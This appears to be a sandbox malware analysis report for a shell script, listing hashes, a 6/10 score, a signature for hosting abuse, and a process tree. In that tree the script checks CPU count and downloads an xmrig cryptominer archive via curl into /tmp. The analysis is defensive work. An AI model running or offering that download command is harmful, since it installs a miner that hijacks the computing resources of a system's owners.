Overview

overview

10

Static

static

1

script.sh

ubuntu-18.04-amd64

6

script.sh

ubuntu-20.04-amd64

10

script.sh

ubuntu-22.04-amd64

10

script.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    300s
  • max time network
    897s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01-07-2024 11:22

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score
6/10

Malware Config

Signatures

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
      PID:1498
      • /usr/bin/cut
        cut -f1 -d.
        2⤵
          PID:1501
        • /usr/bin/nproc
          nproc
          2⤵
            PID:1502
          • /usr/bin/bc
            bc -l
            2⤵
              PID:1505
            • /usr/bin/curl
              curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
              2⤵
                PID:1506

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads